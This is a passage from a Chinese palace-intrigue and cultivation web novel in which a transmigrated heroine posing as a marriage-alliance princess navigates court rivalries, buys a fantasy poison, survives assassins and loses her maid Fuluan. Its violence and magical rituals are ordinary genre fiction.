任舒映自然是沉默作应,不过这话里头听着,这么感觉皇后与她熟识?以防露馅,趁此还没有见到皇后,还是前先打听一番。
她垂眸思考,又不能直接当面问,可实在是不知道该如何作问,侧首看着扶鸾:“那个皇后……要如何相处?”
扶鸾的神情有些疑惑,凝眉动唇:“公主,皇后娘娘是您的姑姑啊。”
“?”
这下心头忐忑起来了,偏偏还是个熟人,凝噎良久,她清咳一声,面色淡然,重新组织说辞:“我担心自己不懂孤竹皇城的规矩,丢了姑姑的脸怎么办?”
扶鸾一笑:“公主不必过多担心,皇后还在巽国时便与您情同姐妹,怎会在意那些礼数?”
任舒映僵着脸转回前方,更加没了底。
——
宫道的方向一路向北,穿过一处遍地琼花的园庭,她骤然在分岔路口顿足,偏道是蜿蜒的长廊,廊外满是芬芳,种植的竟是幽紫色的花林。
她对此记忆深刻,在被结界带至魔域后,也曾见到这种奇异的紫花,除此之外,孤竹皇宫内道,也与魔宫颇为相似。
从玄色堆砌的高墙,到唯有魔宫所见过的植景,再到孤竹京和孤竹国。
一念之间,有了一个猜测,孤竹皇城便是魔宫。
任舒映还没等扶鸾开口,手随之揉上眉心,颇为疲倦道:“扶鸾,我有些头晕,可否走慢些?”
闻言,扶鸾走上前,搀着她手臂,口下不忘提醒:“公主,莫非是那日落水,受了风寒还没有痊愈?”
任舒映一边打量四周环境,复答:“……可能是吧,”
宫人见状,亦齐齐减缓脚速。此时,尾后忽有脚步声作响,几个宫人捧着锦布纷纷追上来,从她身边擦肩而过。
不料一道声音低低穿来:“公主,你也在此?”
偏头一看,只见孤竹京穿着一身金锦宽袍,一副若有若无的浅笑投视而来。
任舒映见此也不意外,他能跟国姓,多少也猜出他的身份非比寻常,念及此,也算算省了一桩事,正好可以把东西给他:“你落下东西在马车上,晚些时候我遣人取来。”
孤竹京应了一声,眉梢略弯,亦未掩饰自己身份,随口一问:“好,你是要去见母妃吧,”说着也不让她回答,“顺路。”
两个人齐齐入了皇后慈春殿,发现在场的人还挺多。
皇后见任舒映出现,随即亲和唤她坐在身边,开始介绍座上的宫裙华丽的女子。
“淳媱,这是柳侍郎家的女儿,柳元霜,”随后指向柳元霜身边年纪相仿的小姐道:“这是魏家小姐,可容。”
最后坐着饮茶的是丁贵妃。
孤竹京见但是一群女子,不好上前,遂默身寻了不远处的榻子上等着。
任舒映也不知要如何做答,故而讷笑道:
“见过二位小姐。”
却隐隐约约发觉氛围沉默片刻,柳元霜这才敛去不加掩饰的打量视线,颔首作应。
皇后拉着任舒映手,和蔼慈祥,话语不似长辈交谈,反之更甚亲胞:“本宫可是时常盼着你早日赶来啊。”
任舒映接过话头:“姑姑可有想我?”
皇后笑意更深:“自然想,当年一别,还以为咱们这辈子都不可能再见了……说来也巧,你还赶着上圣上的寿宴。”
皇后说罢,对着孤竹京道:“那位是四皇子,他带了宴嘉城上好的锦布,淳媱,你待会也去挑挑罢,”
这下,在偏旁一直不曾开口的贵妃忽道:“皇后,这锦布要是分给其他几个小姐,怕是连条完整的披帛都制不成了。”
任舒映听出来这话里话外,原是因为她,这匹上好锦布还要一分再分,是引起别人不满了。
她其不太在意这些,也不想让这个姑姑为她而为难,随后主动开口:“姑姑,不必分给我,我处到临城时便派人去买了。”
皇后淡淡睨过那贵妃,叹道:“早知如此,就该让四皇子多备些,既然料子不够,我回头让人拿点我的罢。”
哇!
任舒映还真是受宠若惊,皇后这是为了护短,自掏腰包吗?
闻言孤竹京望过来:“母妃,我给自己也留了一点,要是淳媱公主不嫌弃,我可转赠给她。”
丁贵妃观此,这时复问:“你一个男子,怎么还给自己留一匹呢?”
孤竹京却淡然一笑:“这好料子,也可以讨得美人欢心。”
这在场所有人应该也是知道四皇子生性风流,闻言也没有多大反应,丁贵妃似是料道孤竹京此举的深意,怕是看上人家公主的美姿,遂来个当头一棒,启口说:“美人虽美,不过已有婚约了。”
孤竹国与巽国联姻之事,天下皆知。但是与哪位皇子联姻并无外传。常年厮混在烟花之地的四皇子更不知道。
闻言,孤竹京笑意不减:“只搏一乐,婚约有否,与我无关。”
……
一番小叙,任舒映终于在日落后借着奔波劳碌,才被放出来。
扶鸾得知要在后宫住后,在此期间先行一步,去往华棠殿休整物什,如此一来,她也好直接回去休息。
在走后,先前与她见过的两个小姐在宫道闲聊,任舒映与她们唯有几步距离,不经意间她听清了闲聊的话题。
魏可容发觉到这和亲公主在后,随之声音越来越大,无所忌讳:“元霜,太子殿下心仪之人一直都是你,一个和亲公主就算横插一脚算什么?没有家世,她只能依靠的唯有皇后,翻不起来多大水花。”
随后柳元霜侧眸瞥过任舒映。
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>从柳元霜眼神看出来,有不屑、妒恨。
原来她这个和亲公主的身份是这么的可笑,像是外房横刀夺爱抢了原配的主位置。
扶鸾跟着公主也许久了,一般来说公主若是撞见此番有人在背后嚼舌根,她才不管是什么身份,肯定先过去臭骂一顿。可如今观察公主,她却在原处伫立良久,迟迟未有动静。
扶鸾试探问:“公主……”
“走吧,去华棠殿。”
扶鸾听到此,忽然惊呼一声:“四、四皇子。”
孤竹京不知何时出现,他只道:“我先随你们去拿东西。”
——
任舒映初次到华棠殿,一眼看出是北禁宫道,此处有一片流溪,修竹连屏,那夜正是在此遇到孤竹京。
可惜,孤竹京不知道。
任舒映取出一本厚厚的册子,递交到他手中时,忍不住问了一句:“你这东西究竟是什么?”
孤竹京:“账本。”
“哦。”
以为孤竹京拿到东西后会走,不料他忽然问:“本王有点饿了,你们这也没有吃的。”
他这么说,目光已落在公主身后的扶鸾,眸中微动,似是无声的命令。
扶鸾也不是呆讷不懂的婢女,怎意会不出来,无可奈何下,只得应声去取食。
人走后,任舒映才说:“……你把我待女遣走,要作何?”
不知是她过于敏感,感觉孤竹京略微犹豫,才问出一个怪异的问题:“…你要和我皇兄联姻?”
任舒映思索片刻:“孤竹国太子。”
闻言,孤竹京笑意骤然变冷,语调夹杂着晦涩:“你若是嫁给他,很快你就会和他一起死。”
她看得出孤竹京脸上毫无波澜,但实则上是在愠怒。
她才发觉孤竹京没有想象中的怎么简单,随后问:“太子贵为一国储君,怎么可能你一句话便轻而易举去死?”
“你可以不相信,”孤竹京举起手中的账本,继续说:“这个,是太子死罪中的一条。”
孤竹京死死凝视着她,原以为这个公主会被吓到语无伦次,大惊失色。但她沉吟片刻,忽然做出明了神情:“莫非你也想和太子争夺?”
孤竹京沉默不语。
“那你加油!”
说罢任舒映也不管此人,甩袖转身就走。她一直都没有忘记自己要离开红尘井,不出意外的话,孤竹京大抵就就是离开红尘井的关键作用。
孤竹京见任舒映不为所动,还让他加油。
随之也不在多言,悄然离开。他亦不知为何会对她说这么多。意识回笼时,一个女子疾步而行,不巧与他擦肩而过,随即一张信笺塞入他手中。
怔愣一瞬,他打开信笺,上面寥寥几字:
三皇子,
危。
顿时脸色大变,顾不上方才那个神秘的女人,几乎是大步跑向出宫之路。并非他信以为真,而是意料之中,只是没想到他们居然这么快便动手了。
——
扶鸾端盘子出来时,四皇子人已走远。任舒映草草解释后,院门外出现了一个熟悉的女子。
37.旖旎靡梦红尘井(七)
竟是孔黎?
惊愕之时,孔黎道:“公主,借一步说话。”
——
二人独处一室,任舒映遂问:“孔黎,你怎会在此?”
孔黎只道:“此事说来话长,任姑娘,此处为红尘井,你可寻到红线了吗?”
任舒映恍然想起梦中所闻之事,原来孔黎也是带着原记忆到此,随后摆头:“未曾。”
“我可以帮你。”
孔黎说着,取出一个琉璃金筒,金简被玉塞封印,只见内有青烟,犹如磷火泛起幽绿的光芒。任舒映凝眉许久,始终看不出是何物,才问:“这是?”
孔黎因先前在归衢阵反悔,颇为愧疚,至此沉吟良久,最后还是打算告诉她一些不知道的事情,
“此物是渺梦山梅花剑宗虔贞长老之物,他让我转交于你。”
任舒映闻言不禁一怔,意外不已:“虔贞?”
“我在归衢阵开启时贸然离开,便到这极地雪域,幸得虔贞长老所救,为报答虔贞长老我才会来红尘井。”
听孔黎一番作答,原是师尊让孔黎到红尘井。
孔黎见任舒映不知此物有何用处,随后解释:“此乃阴魂金简,里面是百年间的捕捉的亡魂,精粹为久弥不消的怨念。”
“这有何用处?”
孔黎却沉默一瞬,眼底露出歉意:“具体同处虔贞长老尚未告知,不过长老让我来红尘井时说过,此物唯有你可用。”
阴魂金简,怨念积深,里面的亡魂几乎是是几百年前所捕,因而目睹过许多杀戮 ,若是将其放出,甚至可导致修士衍生心魔。
但如此怪异的灵器于她而言,又有何用?在任舒映疑惑不解的注视下,孔黎便让她摇晃金简。
只闻其声,咚隆闷响,
“里面有一颗被阴魂浊喰的灵魄,只要洗涤阴气,里面的灵魄可为你寻到红线。”
说完,孔黎也不知金简其他用法。
任舒映只好暂时搁置,话归源头,“你呢,入了红尘井,有何打算?”
孔黎许是想到什么,脸颊两侧绯红,吞吞吐吐半天才回话:“……我为了一个人,他有我的红线,如今我找到他了,只要我陪在他身边,他答应我会心甘情愿把红线给我。”
任舒映一眼就看出猫腻,目不转睛盯着她,不肯放过孔黎眼中流露的一丝情绪变化。
“什么身份?”说着一顿,怕孔黎多想,还补上一话:“莫不是你心慕人家?”
“……没有!”孔黎拒绝的斩钉截铁,同时说:“红尘井非真的世界,我与他相处一段时日,的知他并非是个活人,一场靡梦罢了,待了却他的夙愿,我再取红线。”
任舒映念及此处,也明白了孔黎的意思,如此说来红尘井中有的是幻化出来之人,亦有真真切切出现在面前的活人。
哎,不对。
这孔黎是如何得知红尘井中有幻形的人呢?
她心念一动,随后便问出口。
孔黎继而解释:“虔贞长老让我到红尘井,正是因我是药修,幻形人没有脉搏,他们就算是情感真切,但在我眼下,可以看的一清二楚。”
“原是如此,那这红线要如何取?”
孔黎闻之淡然答:“红线藏于幻形人心脉,若是要取,便是抽其心脉。”
任舒映猝而一脸惊骇,在修界抽人心脉的人,就算是押在陪尾雪牢的囚徒,也为数不多。
“……”
不是,这一上来便让她做如此残忍之事?!
一番交谈下,孔黎在日落之后便离开了华棠殿。
——
不久,几个宫女浩浩荡荡走来,手中捧着堆叠着的东西入殿。
扶鸾先是瞅了一眼,跟过去一探,随后道:“公主,是四皇子让人带过来的锦布。”
可一眼观去,这哪是私留一点,孤竹京分明私留了大半,扶鸾也都开始觉得这个四皇子未免殷勤过头。
反正送都送过来了,要是退回去也嫌麻烦,对着扶鸾吩咐:“那就收着吧。”
为首女官任舒映略有影响,宽额头,眉微粗,不苟言笑之貌。
这是皇后身边的女官。
女官示意身边待女呈递一副书册,随后交至公主跟前,她没伸手去拿,扶鸾先行一步接过。
随后,女官一副公事公办的语调道:“这是皇后娘娘,与四皇子一并交代过来的锦布,公主这个账单,内悉数记载。皇后娘娘还让奴婢给您带话,近日正筹备着圣上的寿诞,无暇为您置办合身之物,您可传话给方才娘娘分给您身边的杨掌事,她可以把这个布料带去制坊司做衣服。”
任舒映随即瞥过杨掌事,到了声谢。见事尽数传达,那个女官这才领着待女纷纷辞退。
而杨掌事一人则留在这里。既有一个熟悉宫中的人,那正好可以打听一番宫中形势。
任舒映见状,便唤杨掌事跟随,自己径直往房内去。
杨掌事年级莫约三十来岁,在皇后身边做事也有十年,话间闲谈之时,言语拘谨,时不时便会观察着公主的脸色。对皇后也是忠心耿耿,称的算是心腹,
任舒映打量许久,也差不多了解此人性情后,语气便不再严肃,既而含笑问话:“杨掌事,这些锦料便麻烦您替我处理了。”
说着她忽道:“对了,我这身边待女扶鸾还不懂宫里的规矩,华棠殿的一切事务也都交由你打理可以吗?”
杨掌事没有料到这个和亲公主如此快便信任,顿时喜笑颜开:“公主您放心交给我,奴婢尽心尽力,定会让您满意。”
这下杨掌事脚步轻快退下,扶鸾才犹豫片刻,把心中怪异的感觉说出来:“公主,这个杨掌事恐怕是别有用心,如此信任她,恐怕日后埋有祸根。”
她哪里看不出来,这杨掌事嘴下前后离不开太子,巴不得让她知道这太子有多厉害。若不是后面套些别的话,她都快以为这杨掌事是太子身边的人了。
任舒映沉吟片刻,嘱咐扶鸾:“无妨,暂时不必打草惊蛇,先多盯着她,此人早晚要露出马脚。”
扶鸾闻言,目光不由得凝在公主神色自若的脸庞上,忽道:“……公主,你好像和以前不一样了。”
任舒映一僵,差点没控制住。
根据外界了解,原来的淳瑶公主是一个刁蛮任性,泼辣而又不讲理的人。
莫非是她过于聪明,被看出来了不成?眸光微晃,她提高声音,反问:“本公主哪变了?”
扶鸾认认真真想了好一通,还真一个一个异
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样念出来,差点没让她破功。
“公主,以前你要是遇到像杨掌事那般居心叵测的奴婢,都是直接赶走。还有你怎么都不骂我了,就连那几个小姐再背后如此说你,你都还不生气。”
凝噎良久,任舒映讪笑:“……人都是会变的嘛。”
“是啊,但是变的真快,感觉还变聪明了……”
“……”
——
孤竹京出到宫门,一直沉郁着脸,在外候着的近卫连忙奔来,
孤竹京启口问:“熙王如何了?”
札云顿瞬,立马答:“主子,属下正要说此事,熙王在宴嘉城回来的路上,遇到刺客袭击了。”
“刺客有活口吗?”
“未有,他们都是死士,嘴巴敲不开,自尽而亡。”
闻之,孤竹京眸光一沉:“……熙王如何了?”
“他让一个宴嘉城中挑的女子先行一步至宫中,现在估摸着快回来了。”
女子?
孤竹京回想起方才给他传信的女人,恍然明了。
“马给我。”
待从听令,急匆匆去牵过马,
“我去趟熙王府,让他们继续备好东西,我会回来。”说罢,孤竹京一手翻身骑上,甩鞭扬长而去。
——
熙王府。
孤竹京下马时,一个家仆闻声迎接,似是特意在等。
“四皇子,里边请……王爷就方才回来。”
夜幕四合,穿过烛火荧然的长廊,孤竹京轻车熟路走到一个房门,家仆在后面小跑着跟上。
门是虚掩着的,孤竹京随意打开,忽然一阵浓郁的药味扑鼻而来,他连连咳声:“孤竹熙,你不要命了?”
相比灯火通明的长廊,这房内昏暗许多,似乎是房中之人欲要卧枕入眠,遂灭了灯。
房中之人发现孤竹京进来,随即衣料摩擦窸窣作响,一道薄薄的身影渐渐从卧房行来。
“阿京,我以为你不会过来了,我便想着敷上药就睡了。”
说话之人,正是孤竹京在宴嘉城所提的表兄。
熙王乃当今圣上三皇子,常年病榻缠绵,寻医无数,却始终没有医师可看出病因,束手无策下,才借着看病,去宴嘉城鸿金寺烧香拜佛。
鸿金寺中有一个老僧曾是个巫医,观了病情后,却给他指了一个可笑的药方。
那就是冲喜。
民间有这婚俗,家中久病不愈,临城的贵家小姐也看不上一个病秧子作夫,而巫医只道,家中人病危通过办喜事来驱除病,只要娶一个普通女子入门,勉强让其成婚合卺,诚心登寺祈祷着希冀病体好转,久而久之神佛被此诚心打动,亦可安康延寿。
孤竹京动唇时微顿,没有问那宴嘉城带回来一个女子的事,转眸查看一番伤势,并无大碍后,问道:“刺客可有来头?”
熙王笃定道:“是太子的人,他看上我部下的那批精兵了,我不肯给他,所以此次的刺客并非来取我性命,这是他的威胁之举。”
孤竹京莫名一笑,拍了拍熙王的肩膀:“你不必管,此事我来解决。”
说着他又转身离开。
熙王见状不明所以,望着渐渐远离的背影,终究还是喟叹一声。
38.旖旎靡梦红尘井(八)
夜幕四合,任舒映终于得召面圣,同时亦见到这孤竹国的太子。
其人与孤竹京年级相仿,行止儒雅,俊美无涛,虽话语间挑不出半分错处。可每每这太子视线移至她时,总让她心有不安,兴许和不来眼缘便是如此。
圣上此时召见,无非是让和亲公主与太子见上一面,随之叮嘱着太子多加照拂。
她便领了些赏赐便退下,孤竹宇跟在后面齐行。
夜半蝉鸣,乱草莎莎。
宫灯旁一个石铺的平坦小道上,一女一男前后跟随。
任舒映忽然发现是这个太子一路上都在跟踪她,默默走了半晌,她不禁顿步,不解的回头看看孤竹宇。
“太子是有话要说吗?”
孤竹宇的语气却不同于方才,在圣上眼皮子底下那般拘束,他的唇边还挂着一抹浅笑,但那幽邃的瞳仁里,她捕捉到了一丝危险。
“听闻公主来临城时在宴嘉城待过。”
他的语气不是在问,她听得出来,是在复述这一事。
既如此,照实说便是,她坦然回答:“是,怎么了?”
“听说你在宴嘉城受到老四欺负?”
话落,任舒映眼神开始变得复杂,这件事孤竹京不是封了知情者的口吗?为何还可以穿出来,好巧不巧还让这个太子知晓。
她沉吟须臾道:“没有,都是误会。”
太子闻言,语声冷淡,显然就是在怀疑她于四皇子有了什么过节,他压下怒气,反问:“是什么误会?竟会让老四入了你的房?”
听到这,她已经有些不爽了,这个太子是什么意思?还没有成亲呢,就开始嫌弃她么?她最讨厌被人如此质问,
她略微挑眉,眼底佯装的笑容通通褪成一片冰冷的嘲弄。
不再拐弯抹角,直问:“太子这是在怀疑我的不贞吗?”
“本王只知道老四有没有这个胆子,如此不知礼数。若是真有此事,也该尽尽为兄之责,好好管束。”
任舒映无言以对,当着面翻了个白眼,
一番话下来,她只听见一句话,
就是怀疑你们有染,本王要借此机会好好教训孤竹京。
话到此时,她脑海中猝然回想孤竹京在宴嘉城,盗取了城主房中的账本,
“太子殿下,你可知四皇子为何会出现在我房中?”
孤竹宇一副洗耳恭听:“说说看,”
“他遇到一个贼人,此人盗取了城主的东西后便往我房中跑,是孤竹京发现的,所以他捉人心切,才不得已到我屋中寻人。”
见状,孤竹宇半信半疑,
先前孤竹京曾说那个账本与太子有关,可这个账本又是城主的,那便有可能两个是在合谋一利,且还是不为人知的事。
她这话其实也就想套一套太子的话,看看他对孤竹京在宴嘉城的事知道多少,其次便是对那账本有多上心。
不过打量太子沉吟不语的脸色,忽然不想听他回答了,以为这一说辞,已让他心思动摇。
“公主,这么说老四是在抓盗贼?”
她点头紧接着说道:“是呢,不过盗贼逃跑了。”
孤竹宇不知想到什么,果真不再逼问和亲公主的贞洁,眉宇压的越来越低,也不知是因心虚还是害怕,匆匆忙忙便离开。
任舒映看着太子渐渐远去的背影,不禁嗤笑出声。
“扶鸾,回吧。”
——
夜色四垂,孤竹京查看着熙王伤势后,马不停蹄赶回自己府邸。
街道喧嚣热闹,光是路道便不好行驶,兴许是因为圣上寿辰在即,天下诸州同祝宴乐,休假三日,路人皆穿戴着鲜艳的服饰,络绎不绝,纷至沓来,颇为晃眼。
此外家家户户都在门挂着一块红布,上面还写着“万寿无疆”。他抿着唇,打量一番径直往穿梭人流。
回到府门外,札云接过缰绳,随后道:“主子,东西皆已备好了。”
孤竹京未启口,大步流星踏入门,札云紧跟其后,
“轰隆”一声,大门阖上,亦将外的嘈杂隔绝起来。
府中的陈设相比外面颇为清净,许久未有打理的旧圃一片狼藉,杂草延伸道路道上,愈加孤寂。
主仆二人到了一个灵堂。
札云:“因为近日圣上过寿,外面不让卖祭品,,更加不给置办祭灵之事,所以灵堂打理的比较潦草。”
孤竹京道:“无妨,给她烧点东西便好。”
“现在也只剩下一些去年的未用完的纸钱……”
孤竹京闻言无奈一笑。
“今年她该过的不顺心了。”
灵堂青灯荧然,供台上摆放一个灵牌。正是孤竹京的生母。
打量案上片刻,除了烟炉内的几根半燃细香,一盘水果,也就唯有这两盏孤零零的白灯笼陪伴她。
世人皆知宫中有不学无术、玩物丧志的四皇子。却不知,而她生母是当年靠着才貌双全而盛名临城的郡主,更加料不到,死后还落得个孤魂野鬼的下场。
如今,也就他一子还惦记着吧。
孤竹京拾起铺叠着的纸钱,一点一点放入火盆中,待烧作灰烬后,再堆垛起来,如此,才显得烧得多了。
随后对着灵牌哄声道:“现如今父皇过寿,不让卖纸钱,你先用着,来年会补回来。”
札云便在外守了一夜,灵堂亮了一夜。
——
翌日,任舒映领着扶鸾,杨掌事去了一趟皇后慈春殿。
这是她第一次带着杨掌事出去,一来就是为感谢皇后给了她一个有经验的管事,让她省了不少麻烦。
但主要还是想让皇后放她出宫,比较她如今的身份是和亲公主,不可擅自在宫里随意进出,所以只能靠皇后答应。
巧的是,柳元霜与魏家小姐也在此。齐齐碰面,虽已心无好感,但也只能拉下脸招呼一声。
随后任舒映按照说辞,先是道谢,随后借着自己和亲公主的身份,想要出宫到民间逛逛为由。
皇后也可理解,也是是好玩心重,不过思忖片刻就松口答应下来。
临行前,扶鸾不经意间发现一件有趣的事来。先前一直在华棠殿安安分分的杨掌事,今日却有些心不在焉,不知为何时,有意瞥向除皇后身边的那几位小姐。
——
翌日,任舒映带着扶鸾与杨掌事乘车出宫外,临行前,任舒映避开杨掌事,私下扶鸾才说着近况,
杨掌事近几日来一直都很正常,直到昨日离了慈春殿后,这杨掌事私自出了华棠殿,随后便在一个偏僻的院子见不知见了何人。
任舒映默声听罢,没多大情绪,毕竟这杨掌事还没有做多大动静的事,又是皇后身边的人,总不能因为一点小事便将人赶走。思忖片刻,还是让扶鸾继续盯着罢。
她此次出宫还有一要事,据孔黎所言,若是要取得阴
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魂金简内的灵魄,还需洗涤其阴气。若是她还有灵气情况下,此事自然不成问题,如若是普通凡人,那倒是麻烦一些。
虽凡人不似修者有压制阴魂的灵力,但依照凡界旧俗,可用血为引,制作一个血灯。
以血养灯,烧灼阴魂。
不过此事也有凶险之处,因为凡人定力薄弱,甚至比修士用灵术更加危险,故而若是需要得到灵魄,需助阴魂安息。
若是未有归息,轻则受阴魂诅咒,终生纠缠,不得善终。重则家破人亡,而阴魂会夺舍供血之人的身躯,使得阴魂四处作恶。
血灯只要两个原料,一为供血之人,其二便是以恶制恶,以邪煞之物压制。
正当圣上寿诞之际,越靠近西区贸易所,便愈加街道拥堵,思来想去,倒不如弃车先行,好不耽误时间,随后她叮嘱扶鸾继续待在车上,自己则携杨掌事步行。
起初扶鸾并不想离开公主,直到她说若是带上可除掉杨掌事,扶鸾口下才有了松动。
自公主在和亲路上失踪回来后,她便一直有自己的主意,沉稳又冷静。尽管她大概猜出此公主非彼公主,却还是没有拆穿,日后,这个公主回亲口说出真相吧?
扶鸾看着任舒映渐渐隐入乌泱泱的人群中,目光暗沉,心里直打怵。
西区贸易所是孤竹国最大的贸易中心,亦免不了鱼龙混杂,何况她身边还有个麻烦尚未处理。
一路上,任舒映环顾四周,打量街摊上的物什,也时常漫不经心瞥过身边寸步不离的杨掌事。
是时候该把人支走了。
半晌,她侧首唤了身边的人,寻了个由头:“杨掌事,我听闻孤竹国的花糕甚是好吃,日思夜想许久颇想解馋,如今正巧在此,只是我不认识孤竹国的字,不知铺子在何处,你替我去买吧。”
闻言,杨掌事一顿,连连答应下来,
“公主,您在此莫要离开,奴婢去去就来。”
眼见着杨掌事急匆匆往一个方向而去,任舒映勾唇浅笑。
她虽是凡人之躯,却仍保留着修士的敏锐察觉。在出宫时便发觉到有人在暗中跟踪。如今杨掌事虽然被她用借口支离,可暗中跟踪她的人还未出现,还得把人吸引出来。
片刻,她拐入一个人迹较少的小道,行至百步,她原地顿足,纹丝不动,启口道:“出来吧,这里没有人,好处理。”
身背发出窣窣脚步声,一个男声作答:“是该处理了。”
任舒映这才转身打量眼前这个面生的人,
“你是柳元霜派来的。”
她语气已然是笃定,对方始终面不改色,语调不自觉夹带怪罪:“要怪就怪你非要抢这个太子妃之位。”
话落,任舒映只觉得一股劲风扑面而来,倏忽一瞬一把明晃晃的长刀挥斩,寒光凛然。
看来此人是当真要下死手了。
可这执刀提命一息,刺客蓦地一滞,眼底闪过一丝诧异和困惑。
这个公主当着他的面消失不见了!惊愕之时,一道极重的内力毫无征兆一掌打在背后,刺客口吐红血,步子踉跄,一头栽倒在地。
伏起身,仰头一看,
任舒映拿着一颗泛起荧光珠子,脸上带着若有若无的笑意盯着他。
“你究竟用了什么妖术?!”
“我不杀你,但你得替我给你的主子带句话,若是再来招惹我,我会让她后悔的。”任舒映说罢,便离开小道。
39.旖旎靡梦红尘井(九)
回到街道,她从袖内取出一张纸条,此物是孔黎临走前给她的地图,显眼的朱砂红在一处地方勾着圈,与她所在之处相距不过几道街。
随后她到了标记处,忽瞥见一个熟悉的身影,略有诧异之色。
孤竹京亦在。
他站立在一个三面环道的楼宇拐角,此楼她一眼望去,额匾上写着“白楼”二字。
字如其意,是接待白事之所。
入殓送葬、报丧守灵,亦或是祭祀的香烛纸钱种种,诸如此类,应有尽有。
不过,孤竹京到这白楼做何?说来奇怪,近来不是孤竹京的父皇寿诞,就连白楼周遭路过的百姓沾染晦气,而唯恐避之不及。
此人还明目张胆出现在此,孤竹京似是察觉到任舒映打量的视线,她一惊,纵身往侧道而行,至于他有没有看见,那就不知道了。
她要去的是白楼旁边的药馆,此药馆出售的皆是非寻常人家用的药材。
掌柜是一个老巫医,因为店铺内无客,懒洋洋地躺在一把木椅上闭目养神,任舒映张望好一会,以为是睡着了,试探的唤了声:“掌柜?”
闻言,掌柜冷不防站起来,目不转睛盯着她:“要买什么?”
“百毒蛊水。”
他忽地神情怪异起来,似是在思索着一个年纪轻轻的女子为何会要此等毒物。
任舒映面不改色,继续道:“我要的不多,一个签筒这个量便够。”
随后,掌柜没作应,而是一步一步徐徐走来:“你可知百毒蛊水是何物?”
她微顿,眸中微动。
莫非这掌柜怀疑她要用此物做恶?
她寻了一借口,摆头答:“不知道,我是按着家中长辈要求来买的。”
掌柜虽听进去,但始终半信半疑,不过生意还得做,半晌他道:“随我来吧,百毒蛊水需要在蛊坛里临时取。”
跟着掌柜,他边引路,边解释:“此水经毒蛊精粹,毒性霸道。万分要注意,一旦用手触碰到便会变的青紫,一日后全身溃烂,无药可解。”
“切记,不可沾火,其烟,嗅久至幻。”
任舒映默默听着,一一记下。
——
取到百毒蛊水,随后向原路折返,不料她冷不防在一个马鹏见到了她的马车,她定眼望去,心下生疑,顿足不行。
奇怪,不是和扶鸾约定在一处酒楼见吗?怎么会在此?
马车上没有车夫,马则安然拉长了脖子悠然吃着草,打量良久,她压下心头不适,终是提步走前去。
掀开车帘瞬间,一道冷冷的寒光闪过眼眸,刀从里面飞掷而来,来不及看清楚马车内的情况,只得暂时侧身躲避。
在遇到袭击,主要还是意识下会用灵力,面对与暗器出来的黑衣人,同时一记掌掴。
两个距离很近,对方见状微怔,根本没想到任舒映手无寸铁,还会反击。
灵力自然还是无效,她在反击后顷刻间便反应过来,但是化作深厚内力,对方也讨不着好处。
吃了一掌,下盘不稳,踉跄往后倒退几步,“哐当”闷响,后背撞到马车壁。
她警惕看着,冷声道:“你是何人?”
话音刚落,此人默声不语,铁心是要她的命。他有刀,就算是依靠内力,单凭肉搏断然不可能打过。
情急之下,脑海中唯有一个念头,去寻孤竹京。
手下也不是空无一物,她撒了些百毒蛊水到刺客衣服,头也不回折身回跑,只闻后背凄厉惨叫,立马紧跟其上。
孤竹京呢?!
往白楼内猛地狂奔,环顾四周却皆是面生的路人,后者穷追不舍,她几乎未有停留脚步,火急火燎大喊:“孤竹京!你出来!”
说罢,此行当真应验,孤竹京还真从天而降,她匆匆瞥见,他原是在而楼,纵身一坠,这才下来。
他抓起撼刑与刺客交接,一刀一剑,碰撞嗡鸣刺耳。路人见状摸不着头脑,又唯恐被伤及,一时间惊呼声起,慌乱逃窜。
交手几招,孤竹京占上风,剑势愈加眼花缭乱,任舒映目光凝在他身上,眼疾手快,蓄力补上一掌。
整个楼店,乍然轰隆闷响,桌面放置着白纸纷扬洒落,香烛在地面滚动。
“啊呀!住手!你们不要打了!”
二楼梯口,白衣少年拿着一把扇子怒气冲冲跑下来。
“你们看看,这都乱的什么样子了?小店近日,本来就不景气,你们还要来砸场子吗?!”
满地狼藉,刺客不敌,见势不妙,疾步夺门而出,任舒映着脸倒追上去。
外头却还围观一群看热闹的闲人,哪还有刺客踪迹,已混迹黑压压一片人头里了。
转念间,差点忘记马车。
回头查看马车,扶鸾倒在一片血泊中,尤其腹中血色红的发黑,她嗅到浓郁的腥气,目光落到她平静的脸庞,她抓着留有余温的手掌,语气不自觉颤抖:“……扶鸾?你快醒醒好不好……”
她以为扶鸾不会有其他反应。
不料,扶鸾倏忽反攥她的手,目光定在任舒映眸中,语气极低,话语声犹如轻风拂耳,断断续续:“…公主,扶鸾不、不能随您同归了……”
扶鸾是因为她受牵连的,她怎不知道,她眼中的温湿几乎要夺眶而出,无名情绪涌上心头,但是她告诉自己该要去找医师,随后抛下一语:“不该让你孤身一人的。”
“不要走!”
扶鸾惊道,手中力气变大,尽管这个力道她可以扯开,还是怔怔投目,
“……公主,你不是真正的公主对吗?”
扶鸾只想确定这件事,任舒映并无多想,反正一直欺瞒下去又有何好处,她点头:“我不知道淳媱公主在何处……”
“我知道,你和公主性子大相径庭,你不会是杀了公主的凶手,但是,你和她又好像啊……”
她浅笑着,娓娓而谈,“你和她眉目一模一样,就连后背都有一样的胎记。有时,我自幼伴随她身边,是公主从未离开过的人,都无法辨别。自从救你回去后,和你第一句话里,我便看出了端倪,但你时常和她的习性有颇为相似,喜欢的吃食,行举间不经意的习惯……外貌可以模仿,习性怎么会如此相同啊……”
“所以我一直都没有戳穿你,可是明显的差异又逼迫我不断地去怀疑,你究竟是谁啊?”
一番长话,任舒映哑口无言,她是红尘井的过客啊,就连自己都不知为何会有这么多的巧合啊。
“……我不知道,但是我真的不是淳瑶公主,我对你们没有恶意,我只能说……我不属于这里,却不得已替代了她的身份。”
“……好,我知道了,但是,我愿意继续唤你公主,公主你一定要提防皇后,她、她不可尽信——”
扶鸾一口黑红的血咳出来,一断长话尽了,任舒映笃定是血淹没扶鸾的咽喉,因为自己手中已经沾上了热血,粘稠又刺眼。
“抱歉。”
——
任舒映处理草草好凌乱的马车,冷不防看见孤竹京面无表情立定在马车外。
她不确定孤竹是何时候跟上来,也不知道他听到了多少,不过听到又如何?潜意识确定孤竹京不会说出去。
两个一语不发,最终还是孤竹京打破了沉默,“先回去,这就是我会向父皇那边禀明。”
她就知道孤竹京会守口如瓶。
可偏偏还是要问一句:“你没有什么好问的吗?”
“
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问?有何好问的,就这样吧。”
好,就这样。
她得到孤竹京亲口确定,稍微放心下来。思绪万千,首要做的还是查皇后,尽快离开红尘井。扶鸾……好好安葬,让她歇歇也好。
“我要去一趟西区贸易所,还有一个待女在那。”
孤竹京未多言,“我带你去找人。”
回到原路,杨掌事看见这一场景惊愕的无法言喻,扶鸾死了,这个和亲公主逃过一劫。
